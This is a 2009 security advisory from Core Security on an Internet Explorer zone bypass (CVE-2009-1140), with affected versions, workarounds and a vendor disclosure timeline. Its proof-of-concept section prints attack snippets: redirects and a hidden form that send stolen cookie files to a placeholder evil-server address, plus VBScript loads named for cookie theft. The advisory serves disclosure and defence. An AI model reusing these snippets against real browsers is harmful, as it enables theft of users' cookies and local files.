Internet Explorer Security Zone restrictions bypass

1.
Advisory Information

Title: Internet Explorer Security Zone restrictions bypass
Advisory ID: CORE-2008-0826
Advisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass
Date published: 2009-06-09
Date of last update: 2009-06-09
Vendors contacted: Microsoft
Release mode: Coordinated release

2.
Vulnerability Information

Class: Client side
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID:
35200
CVE Name: CVE-2009-1140

3.
Vulnerability Description

Internet Explorer (IE) is the most widely used Web browser, with an estimated count of 1,100 million users
according to a worldwide survey conducted and published in 2008
[1].
This advisory describes a vulnerability that provides access to the contents of any file stored in the
local filesystem of user's machines running vulnerable versions of IE.

Exploitation of the vulnerability relies solely on the ability for a would-be attacker to provide
malicious HTML content from a website and to predict the full pathname for the file that will be used to
cache it locally on the victim's system. If the entire path name can be predicted, the attacker can cause a
redirection to the locally stored file using an URI specified in UNC form and force the local content
to be rendered as an HTML document, which will permit to run scripting commands and instantiate
certain ActiveX controls.

As a result of a successful attack, security or privacy-sensitive information can be obtained by an
attacker including but not limited to user authentication credentials for any web application domain,
HTTP cookies, session management data, cached content of web applications in different domains and
any files stored on local filesystems.

The bug is related to a lack of enforcement of security policies assigned to URL Security Zones

[2] when content from the corresponding zone is loaded and rendered from a local file.
These issues have been found in the way that security policies are applied when a URI is specified in the UNC form
(i.e., \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE):

1. When a remote site attempts to access a local resource,
   IE will fail to enforce the Zone Elevation restrictions.
2. When browsing a remote site, IE will not properly enforce the
   Security Zone permissions, allowing a site belonging to
   a less secure zone to be treated as belonging to a more
   privileged one.

4.
Vulnerable packages

• Internet Explorer 5.01 Service Pack 4
• Internet Explorer 6.0
• Internet Explorer 6.0 Service Pack 1
• Internet Explorer 7 (not exploitable with Protected mode on, available on Vista)

4.1.
Vulnerable platforms

• Microsoft Windows 2000 up to and including Service Pack 4
• Microsoft Windows Server 2003 up to and including Service Pack 2
• Microsoft Windows XP up to and including Service Pack 3
• Windows Vista up to and including Service Pack 1 (not exploitable with IE running with Protected mode on)
• Windows Server 2008

5.
Non-vulnerable packages

• Internet Explorer 8 under Windows 2000/2003/XP/Vista

6.
Vendor Information, Solutions and Workarounds

The following workarounds can prevent exploitation of the vulnerability:

• Use Internet Explorer's Protocol Lockdown feature control to restrict the "file"
  protocol to prevent HTML from UNC path to run script or ActiveX controls.
• Set the Security Level setting for the Internet and Intranet Zones to High to prevent IE from
  running scripts or ActiveX controls.
• Manually disable Active Scripting for the Internet and Intranet Zone with a custom security setting.
• Only run IE in Protected Mode if it is available on the operating system.
• Use a different web browser to navigate untrusted web sites.

Additionally, although disabling file sharing if it is not necessary and filtering outbound SMB connections
at the endpoint or network perimeter may not prevent exploitation it is generally a good security measure
to prevent disclosure of sensitive information such as valid usernames of endpoint users.

Microsoft has issued a patch to fix the vulnerability and a detailed description of how to implement
the workarounds on IE. It is available as
Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860.

Microsoft's Research and Defense blog has further
discussion about the vulnerability, workarounds and mitigations
[3].

7.
Credits

This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Consulting Services (SCS).
Additional research was made by Federico Muttis from Core Security Exploit Writers Team (EWT).

8.
Technical Description / Proof of Concept Code

Internet Explorer uses a feature known as URL Security Zones

[2], which defines a set of privileges
for Web sites and applications depending on their apparent level of trustworthiness.
The zones available in the product include:

• Internet Zone: For Web sites on the
  Internet that do not belong to another zone.
• Local Intranet Zone: For content
  located on an organization's intranet.
• Trusted Sites Zone: For content located on
  Web sites that are considered more reputable or trustworthy than
  other sites on the Internet.
• Restricted Sites Zone: For Web sites that
  contain content that can cause (or have previously caused) problems
  when downloaded.
• Local Machine Zone: This is an implicit zone
  for content that exists on the local computer and it is not
  directly configurable through Internet Explorer security options
  by the user.

Internet Explorer users or Administrators can assign specific websites or domains to any of the
available zone except the Local Machine Zone. The ability for a given website to perform
security-sensitive operations on the web browser is determined by
the Security Level of the zone to which the site was assigned.
Each zone can be set to one of three preset security levels (High, Medium-High, Medium) or to a
custom level with security policy settings specified by the user or administrator.

By default, all websites that are determined not to be in the Local Intranet zone and are not
explicitly listed in the Restricted Sites or Trusted Sites zones are assigned
the Internet Zone which has a default security setting of Medium-High.
Thus, for most IE users the security-sensitive actions that a browser is allowed to perform while
connected to an untrusted Internet site are those specified by the security policies of the
Internet Zone at the Medium-High security level.

There are some issues in the way IE enforces zone security policies when an URI is specified in
the UNC form (i.e.,
\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE). In this case, Internet Explorer
classifies as Internet Zone any UNC address pointing
to an IP address including 127.0.0.1.
As a result, any website (belonging to any security zone) can address
and redirect the navigation flow to files stored in
\\127.0.0.1.

If an attacker controlling a website finds a way to store HTML with any valid scripting code the local file system of the visitor and then redirects the browser's navigation flow that local file
(\\127.0.0.1\full_file_name), then
this code will be loaded and rendered as if it belonged to the
Internet Zone but since the file containing it is stored in
\\127.0.0.1 it would also be able to access
any other file on the visitor's file system.

The problem is derived from the sequence of actions performed by Internet Explorer to determine the
content-type of the content to be loaded and the appropriate way to render it. The algorithm followed
for this purpose is described in Microsoft's Knowledgebase article titled
MIME Type Detection in Internet Explorer
[4] and implemented in the
function FindMimeFromData
in URLMON.DLL
[5].

In the following section, proof of concept code is provided to demonstrate the problem using the local storage
used by Internet Explorer to store the user's browsing history to deliver HTML with scripting code and force
IE to render it. This
analysis is valid for any Windows NT based operating system but should be
slightly modified to run under Windows Vista. It takes advantage
of the following features:

1. The IE user's browsing history is compounded of
   different files and folders. One of these files is named
   index.dat, and is usually located at:
   C:\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat.
   Although the format of this file is not entirely text, IE will store every visited URL including any parameters in the
   query string in plain text.
2. Although the aforementioned folder cannot be directly browsed using Windows Explorer or Internet Explorer,
   it can be browsed and viewed by referring to the same folder using the UNC notation:
   \\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local settings\History\History.IE5.
3. There are some HTML tags which allow to embed contents from external
   files and treat them with a specific format disregarding the file
   extension. For example, the HTML
   <object/> tag:

   <object data="index.dat" type="text/html" width="100%" height="50"></object>

   It allows to set the MIME type (in the type attribute) of an externally
   referenced file in the data attribute which will be loaded as an object.

4. Internet Explorer behaves in a slightly different way when displaying a page directly
   rather than displaying that page inside an HTML
   <frame> tag. For example,
   a page containing an HTML <object>
   tag like the one shown below will prompt the user to accept the download of file being referenced
   inside if loaded directly but it will be automatically downloaded and rendered according to the
   specified MIME type if the
   page is loaded inside an HTML <frame>
   tag.
5. Internet Explorer will determine the security zone of an UNC address as belonging to:
   1. The Internet Zone if the path refers to the target using an IP
      address, for example \\127.0.0.1.
   2. The Local Intranet Zone if the path refers to the target using a NetBIOS name, for example
      \\COMPUTERNAME.

8.1.
Proof of Concept Code

The following proof of concept code demonstrates that by enticing a user to do a single click on a malicious
website it is possible to retrieve every HTTP cookie from the unsuspecting victim user.
The PoC uses VBScript to show the ability to steal sensitive information from any local files
with either text or binary contents.

There are several steps involved in order to make the attack path clear.
The following diagram shows the files involved and the calling order.
Details concerning the relationship between these files will be explained
along the walkthrough:

Everything starts when the victim user points her browser to the
following URL:

http://[EVIL SERVER IP ADDRESS]/evilsite.htm

This page will trigger SMB requests against our evil server to extract
the victim's USERNAME. The script named
captureSMB.pl running in the server will
be the one in charge of processing these requests to create the
index.dat.english.pl file which will be
used later to redirect the victim's browser to the locally stored index.dat file.

However, the main objective of this page is to set (when redirecting to the
next page) HTML code inside the victim's history index.dat file. The HTML
source code to accomplish such tasks would look very much like the following:

<html>
<head>
<script>
function redirectNow(){
	document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML CODE];
	}
</script>
</head>
<body onload="javascript:redirectNow();">
<img src="\\[EVIL SERVER IP ADDRESS]\thereisnosuchfile.gif">
</body>
</html>

In turn, the next files in the redirecting chain
(setSecondScript.htm and
setFirstScript.htm ) will also be used to
accomplish the same second objective as the starting page.
As stated before this will result in the victim's
index.dat history file storing the HTML
code passed inside the query string in plaintext. The HTML code stored
up to this point would look like this:

<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP ADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'>
<input type='hidden' name='data' id='data'>
<input type='submit' value='Submit'>
</form>
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ stealcookies.vbs'></script>
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ scripty.vbs'></script>

At this point, the victim's browser will be served with
setFirstScript.htm. This page will just
redirect the browser to another page
(frameset.htm),
which simply defines the frames where the last page
(object.htm)
referencing the index.dat file will be
loaded into.

The HTML code used for loading the index.dat file and rendering it
as HTML code is just a simple HTML
<object> tag:

<object data="index.dat.english.pl" type="text/html" width="100%" height="50"></object>

As can be seen, this is the file we generated in the first step based
upon the actual USERNAME we obtained.
In turn, this file will just redirect the request to the
victim's index.dat:

Status: 302 Found
Content-type: text/html
Location: file://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat

This indirection level is required to avoid Internet Explorer from
prompting the user to download the target file.

If loaded, the file will execute under the Internet
Zone with the access rights of such zone but, given that
the file is served from the local disk, with the ability to read any file in
the local drive. However, success of the attack will depend on the ability to
obtain or guess the right username as explained later.

By taking advantage of these sequence of actions, the script named
scripty.vbs will read the victim's
index.dat located at
C:\Documents and settings\USERNAME\Cookies\
which indexes the whole set of HTTP cookie files managed by IE and send it
back to the malicious server using an HTML
<form> we have set previously.
At the server side, the PERL script named
newCGI.pl will:

• process the received file, and store it in the server;
• create the script named stealcookies.vbs
  considering the cookies filenames gathered from the stolen file;
• redirect the victim's browser back to the
  framset.htm page.

This time, when the victim's history
index.dat file is rendered again,
the script stealcookies.vbs will be
loaded. This script will read every single cookie file the user has
stored in the aforementioned Internet Explorer cookie's folder and
will send the contents back to the server using the same HTML
<form> used before. On the server side
the one in charge of processing this data will be the Perl script
named newCGI.pl. This time, it will:

• Process the received file, and store it in the server under
  the name of stolen.txt;
• Redirect the victim's browser back to this file.

8.2.
Obtaining the right USERNAME

To get the right username, we can take advantage of some other
idiosyncrasies of Internet Explorer. If it is possible to make
outbound SMB requests to an untrusted web server we can leverage
that to include inside the main page some references to inexistent
resources in our server. The client will attempt to establish a SMB
connection against it from where the USERNAME
could be obtained as well as some other useful data such as the
COMPUTERNAME or the
ciphered challenge/response.

Our proof of concept contemplates 2 possibilities:

1. The victim's machine is able to establish a connection to the
   port 445 (NetBIOS over TCP/IP) on the malicious server in which case
   the correct USERNAME can be obtained to
   build the right UNC path to the index.dat
   file:

   \\127.0.0.1\C$\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat

2. The port 445 is not allowed for outbound connections in which case
   the code will simple try to guess the right username using common names such
   as Administrator to build an UNC path like the following:

   \\127.0.0.1\C$\Documents and settings\Administrator\Local settings\History\History.IE5\index.dat

In both cases, the file will be rendered as belonging to the
Internet Zone.

8.3.
Proof of Concept Files

The Proof of Concept can be downloaded from
/legacy/files/attachments/PoC-CORE-2008-0826.zip.
This would be a package with the following files:

• evilsite.htm: The main page, which shots the SMB requests and
  redirects to setForm.htm passing, as part of the query string,
  HTML code to be set in the history index.dat file.
• setForm.htm: This page acts as a bridge (receives the evil scripting
  code as a query string parameter) and redirects to setSecondScript.htm
  passing HTML code to be set in the history index.dat file.
• setSecondScript.htm: This page acts as a bridge (receives the evil
  scripting code as a query string parameter) and redirects to setFirstScript.htm
  passing HTML code to be set in the history index.dat file.
• setFirstScript.htm: This page acts as a bridge (receives the evil
  scripting code as a query string parameter) and just redirects to frameset.htm.
• frameset.htm: This page defines the frames where the page trying to
  access the index.dat file will be loaded into.
• stealCookies.htm: Same as frameset.htm, this page defines the frames
  where the page trying to access the index.dat file will be loaded into.
• object.htm: The page to be loaded in frameset.htm.
  It covers the test cases 1 and 2 explained above in this document.
• captureSMB.pl: This script must be running in the example server.
  It will be listening for SMB requests, and when they occur, will create a pair
  of index.dat.[LANG].pl files, attempting to cover a couple of Windows OS languages.
• newCGI.pl: This file will handle the files received from scritpy.vbs,
  generate the script named stealcookies.vbs and, in a subsequent call,
  will receive and store the stolen cookies.
• scripty.vbs: A script file loaded by the HTML code written in
  the index.dat file. It will send the victim's
  cookies index.dat file back to the server.
• index.dat.english.default.pl: A redirect to the file assuming
  the user Administrator under an English language Windows version.
• index.dat.spanish.default.pl: A redirect to the file assuming
  the user Administrador under a Spanish language Windows version.

9.
Report Timeline

• 2008-10-08:
  Core Security Technologies notifies the Microsoft Security Response Center (MSRC)
  that a vulnerability has been found in
  Internet Explorer (IE). Core sends a draft security advisory with
  technical details and PoC files and announces its initial plan to
  publish the advisory on December 1st, 2008.
• 2008-10-09:
  
  The MSRC acknowledges notification.
• 2008-10-09:
  
  MSRC states that it is currently investigating the reported issue.
• 2008-10-14:
  
  MSRC announces the investigation was completed.
  The flaw can be reproduced by the vendor and it is considered
  a bulletin class issue.
• 2008-10-14:
  
  MSRC announces that the vendor will not be able to hit a December
  release date due to the mandatory quality test cycle required
  for IE updates.
• 2008-10-16:
  
  Core asks MSRC for an estimated date to fix these issues.
• 2008-11-04:
  
  Core requests an answer to the previous mail and also details about:
  1. the root cause of the problem,
  2. the list of affected platforms, and
  3. the severity rating Microsoft has assigned to the bug.
• 2008-11-05:
  
  MSRC responds that patches to IE ship every two months and the
  next available ship date will be February 10th.
  The case is currently rated as an Important class
  Information Disclosure vulnerability.
  Vendor provides a list of affected components and platforms.
  The MSRC was able to reproduce this issue on all IE versions
  with the following exceptions: IE7 and IE8 in Windows Vista
  when Protected Mode is ON. In spite of that MSRC does not
  include IE8 in list of affected components because it
  is still a beta product.
• 2009-01-08:
  
  Core asks MSRC if it is still on track to release patches
  on February 10th, 2009.
• 2009-01-09:
  
  MSRC responds that the out-of-band fix released in
  December
  [6]
  took a lot of the resources that were assigned to
  February's release schedule and will not be able to meet
  the February release date. MSRC informs the next available
  release date would be April 14th, 2009.
• 2009-03-23:
  
  Core asks MSRC if it is still on track to release fixed
  versions on April 14th.
• 2009-03-26:
  
  MSRC responds the product team addressed this issue in IE8
  
  [7]
  with the plan to port that code fix down-level (IE7, IE6 and IE5).
  In order to accomplish these fixes in the previous IE versions,
  MSRC informs Core the first available scheduled release in
  the future will be in June, 2009.
• 2009-03-26:
  
  Core indicates that the previous email from MSRC is
  quite confusing. It seems to indicate that the vulnerability
  is already fixed in IE8 whereas at the time of the original
  report IE8 was still a beta product and there was not
  any communication from MSRC indicating whether the problem
  was going to be fixed nor a tentative date for such fix.
  Core asks MSRC to confirm that the vulnerability was indeed
  fixed in the released version of IE8 while two consecutive
  tentative released date for patches to the officially confirmed
  vulnerable versions IE5 to IE7 have been missed. In the case
  of such confirmation Core also asks clarification about
  Microsoft's previously stated policy of releasing fixes for
  all vulnerable versions at the same time as indicated in
  the emails exchanged during the reporting process of a
  IE vulnerability closely related to this one that Microsoft
  catalogued as an Outlook Express/Windows Mail bug
  
  [8]. Core indicates that it
  considers that an 8-month release cycle is well beyond the
  reasonable time frame to issue fixes for a bug that it considered
  rooted at the same cause of a previously reported one, for which
  differences in its technical analysis were not resolved
  because Microsoft repeatedly ignored request for a technical
  root cause analysis. Therefore, pending answers to the above
  questions and specific technical details about the root cause
  of the problem and when, how and which platforms have the
  bug fixed Core will proceed with publication on April 14th
  as previously agreed. In the meantime Core will further
  investigate the issue in order to provide customers, ISVs
  and the security community all the necessary information to
  assess their risk and independently devise fixes, workarounds
  or mitigations.
• 2009-04-08:
  
  Core requests an answer to the previous mail. Core is on track
  to publish the security advisory and would like confirmation
  that the released version of IE8 fixed the bug.
• 2009-04-08:
  
  MSRC notifies Core that the reason why IE8 did ship with this fix
  ahead of the down-level versions was because IE8 was already
  in-development and it was safer and cleaner to check in this
  fix into the existing
  development cycle of IE8. MSRC also confirms that the bug is
  fixed in the currently released version of IE8 and it is currently
  being back-ported to the down-level versions of IE. MSRC indicates
  that it does not document security fix changed in the latest
  products if the vulnerability continues to exist in down-level
  support platforms which helps Microsoft to
  "not zero-day the down-level platforms" and gives the opportunity
  to provide updates for them. MSRC states that the vendor is
  currently in the path to release the update in June and would
  appreciate it if it could coordinate the release of Core's advisory
  on that same time.
• 2009-04-13:
  
  Core notifies that probably the advisory will be released in a
  week although the final decision has not been made yet
  and that a vendor statement and workarounds would be highly
  appreciated. Core is working on the final version of the advisory
  and would like to improve the workaround and mitigation sections,
  for that purpose it is requesting assistance from the vendor.
  Core asks MSRC for mitigation and workarounds for users not
  running IE8. It also notifies that upon further research it
  found a variation of the original attack that may still compromise
  the original release of IE8. Other versions of IE8
  (with the same version and build number) do not seem to be
  vulnerable to the attack variation. The 'non-vulnerable'
  instance of IE8 tested was patched by Windows auto-update
  in or around April 7th. Core asks MSRC to confirm whether the
  original IE8 release was vulnerable to bug and the bug later
  silently fixed by an update shipped through Windows auto-update.
• 2009-04-14:
  
  MSRC asks Core more details about the version of IE8
  that was successfully compromised by a variation of the original
  attack. The MSRC notifies the original attack was
  addressed in the RC1 version of IE8 and wants to make sure
  there is not an issue with the fix.
• 2009-04-14:
  
  MSRC indicates that received verification from the product team
  that Protected Mode ON for the Internet Zone does block the
  attack in IE7. The vendor states that it is currently investigating
  the IE8 specific mitigations. With regards to IE8 the product team
  included the fix in RC of IE8 which was released in January and it is
  unsure about the differences between vulnerable and non-vulnerable
  instances of IE8. The product team is still working on the fixes
  for the next release but MSRC would like to make private binaries
  available for testing in the event that Core postpones publication
  of the advisory. MSRC offers to setup a conference call to discuss
  some of the challenges of fixing this bug and why it required
  in-depth investigation.
• 2009-04-16:
  
  Core Security and the Secure Windows Initiative (SWI) discuss
  this issue in a conference call. The vendor states that it
  will obtain a list of non-security updates released for IE8 post
  RTM and obtain a similar list for Office and Windows since
  April 1st. The goal is to understand whether a non-security update
  has fixed a security bug. The vendor will also provide the
  technical description and the private fixed bits for this
  specific issue when available.
  Core is going to provide (in the next couple of days) the version
  of the IE8 that seems to be affected by this issue, and the
  modified PoC that was used to reproduce the problem on IE8.
  Core will inform MSRC of publishing date for the corresponding
  security advisory when the decision is made.
• 2009-04-17:
  
  Core sends technical details, the list of fixes installed on
  vulnerable and non-vulnerable systems and modified
  Proof of Concept that works on certain versions of IE8 RTM
  and does not on others. In both cases the version and build
  number are exactly the same. Core have also found that, although
  the PoC sent to MSRC in the original report does not work on
  IE8 RTM, a variation of it continues to work in certain cases.
  Basically, it seems that IE8 RTM prevented code from being
  executed from index.dat mapped
  anywhere lower than an 0x4000 offset but if the offending
  code is above 0x4000 and not from
  index.dat
  it can still be executed.
• 2009-04-17:
  
  MSRC notifies there were two updates released at the end of March.
  One was a Compatibility View List
  [9] and the
  second was an SPAD fix
  [10] that affects Vista
  X64 only. Vendor also notifies they are going to investigate whether
  this might have impacted the original attack vector. The technical
  analysis of the problem determined that the HTML engine checks the
  mime type for file it cannot handle and if there is not a match
  MIME sniffing is performed without a predetermined hint, unknown
  files are treated as HTML due to the redirection and in absence of
  a specific content-type MIME-sniffing will end up defaulting to
  text/html.
• 2009-04-22:
  
  MSRC sends patched binaries for Vista/IE7. These binaries are the
  fix for the first issue submitted by Core and do not fix the
  second PoC sent by Core the previous week. MSRT also provides some
  workarounds for the first PoC reported.
  The IE team has investigated the additional PoC and has determined
  that while functionally it appears the same as the original
  issue submitted, when debugged the actions taken by the system
  are controlled by different functions, and this difference is
  significant enough to perform further investigation. The vendor
  asks to re-schedules the advisory publication date to June 2009.
• 2009-04-22:
  
  MSRC asks additional details about the attack vectors discussed
  between Core and the Secure Windows Initiative (SWI) in the last
  conference call (16th, April). MSRC indicates that it has
  identified two workarounds for the original issue:
  Disabling scripting (which is default for Enhanced Security
  Configuration on Windows 2003 and Windows Server 2008) and
  disabling "Run ActiveX Controls and plugins". The IE team has
  investigated the second PoC and determined that the functionality
  appears the same but when debugged the actions performed by the
  system are different. The differences are considered significant
  enough to perform further investigation. MSRC proposes to
  release the fix for the issue originally reported in June and
  to continue investigation on the second PoC afterwards.
• 2009-04-23:
  
  Core responds that, according to the technical information provided
  by the IE team it appears that the problem could be exploitable
  with any local file loaded through a
  redirection and thus defaulting to text/html that is not
  explicitly known by the HTML engine (Trident) and for which
  IE would end up defaulting to html as hinted. The mention of
  specific files during the conference call was just as an example
  of a potential vector but not a confirmed exploitation method
  that was explicitly discussed.
  
  Core also notifies the advisory publication will be delayed at
  least until next Wednesday (April 28th) since it appears that the
  bug was not actually fixed properly in IE8 and that new information
  has been provided.
• 2009-04-23:
  
  Core also suggests some mitigation actions to prevent
  the exploitation of this flaw. For example, by explicitly
  constraining
  file://127.0.0.1 to a given zone
  (i.e. Intranet) and then disabling "Websites in less privileged web
  content zone can navigate into this zone" for that zone.
• 2009-04-24:
  
  MSRC notifies that it would be possible to bypass the suggested
  workaround if a malicious site had its domain name resolve
  to 127.0.0.1 since Zone determination does not depend on
  name resolution.
• 2009-04-24:
  
  Core suggests other possible workarounds that involve
  explicitly setting the two UNC forms of targeting the localhost
  IP addressing the Internet Zone and setting the security level to
  High which seems to be in line with the suggestions from
  Microsoft's knowledgebase article about the IE Enhanced
  Security Configuration and asks for additional technical
  details to clarify the last email from MSRC. Core asks for clarification
  about the zone determination algorithm.
• 2009-04-24:
  
  MSRC provides further technical analysis, and notifies that some
  of the proposed workarounds would work on all affected versions
  of IE.
• 2009-04-28:
  
  The vendor asks to re-schedule the advisory publication date
  for a coordinated release during the regular June bulletin release
  cycle.
• 2009-05-04:
  
  Core responds that it decided to set the publication date for the
  security advisory to Tuesday June 9th, 2009. This will give MSFT
  the opportunity to ship an official patch for all vulnerable
  versions of IE in the next available patch release cycle.
  Core also notifies this date is final and that in absence of
  an official fix Core will nonetheless publish the security
  advisory with all the technical details and information necessary
  for third parties to understand the risk and figure out and apply
  workarounds or mitigating measures.
• 2009-05-06:
  
  MSRC indicates that it would like to set up a conference call to
  clarify the concerns about workarounds and to discuss additional
  possible mitigation actions.
• 2009-05-26:
  
  Core ask for the status of the fix and whether it is on schedule
  for the June 9th release, responds that it prefers to keep the
  communication process properly documented by e-mail but notifies
  that a conference call would be possible if the vendor feels that it
  is absolutely necessary or the best way to discuss workarounds
  and mitigation actions.
• 2009-05-28:
  
  MSRC notifies the fix for the issue submitted in October 2008
  is on track to be released on the second Tuesday in June 2009.
  Vendor is still determining the best way to address the additional
  PoC provided for IE8, and MSRC asks for a conference call to clarify
  some confusion of the proposed workarounds and mitigations.
• 2009-06-01:
  
  Core notifies the possible timeslot for setting up a conference call
  with MSRT would be June 2nd or June 4th. Core also asks if
  the vendor is considering the second PoC as a separate vulnerabilities or
  just variations on how to exploit the same bug.
• 2009-06-01:
  
  MSRC suggests setting up the conference call on June 4th. The vendor
  also notifies that during the investigation of the 2nd PoC,
  when debugged, the system actions are controlled by different
  functions and the difference is significant enough to address the
  2nd PoC as a whole.
• 2009-06-02:
  
  Core responds it would be available for a conference on June 4th.
  Conference call set scheduled.
• 2009-06-04:
  
  Conference call attended by MSRC, IE team member,
  Core security advisories team and vulnerability
  researchers.
• 2009-06-04:
  
  Core sends MSRC notes taken during the conference call. Actions
  items:
  • MSRC to provide workaround and
    mitigations and to follow-up on issues demonstrated by the
    second PoC.
  • Core to further investigate
    workarounds and mitigations and to provide MSRC the
    final draft of the advisory before publication (by Monday).
• 2009-06-04:
  
  MSRC sends notes of the conference call. Official workarounds and mitigating factors to be included in
  the Security Bulletin and link the Security Research and Defense blog with additional information.
• 2009-06-04:
  
  Core suggests the use of the Protocol Lockdown feature control as possible workaround.
• 2009-06-05:
  
  MSRC confirms that Protocol Lockdown is a feasible workaround. Details will be included in the
  Security Research and Defense blog.
• 2009-06-09:
  
  Final draft of the advisory sent to MSRC.
• 2009-06-09:
  
  Core Security Advisory CORE-2008-0826 published.

10.
References

[1] http://www.techzoom.net/publications/insecurity-iceberg/index.en

[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx.


[3] http://blogs.technet.com/srd/archive/2009/06/09/cve-2009-1140-benefits-of-ie-protected-mode-additional-network-protocol-lockdown-workaround.aspx

[4] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx

[5] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx

[6] http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx.


[7]
Internet Explorer 8.0 was officially released at this time leaving the 'beta stage'.
http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx.


[8] http://www.coresecurity.com/content/internet-explorer-zone-elevation

[9]
Compatibility View KB968220 - href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d"
target="_blank">
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d
and http://support.microsoft.com/?kbid=968220.


[10]
SPAD link - http://support.microsoft.com/kb/969058.

11.
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://www.coresecurity.com/corelabs.

12.
About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.

13.
Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.

14.
PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at
/legacy/files/attachments/core_security_advisories.asc.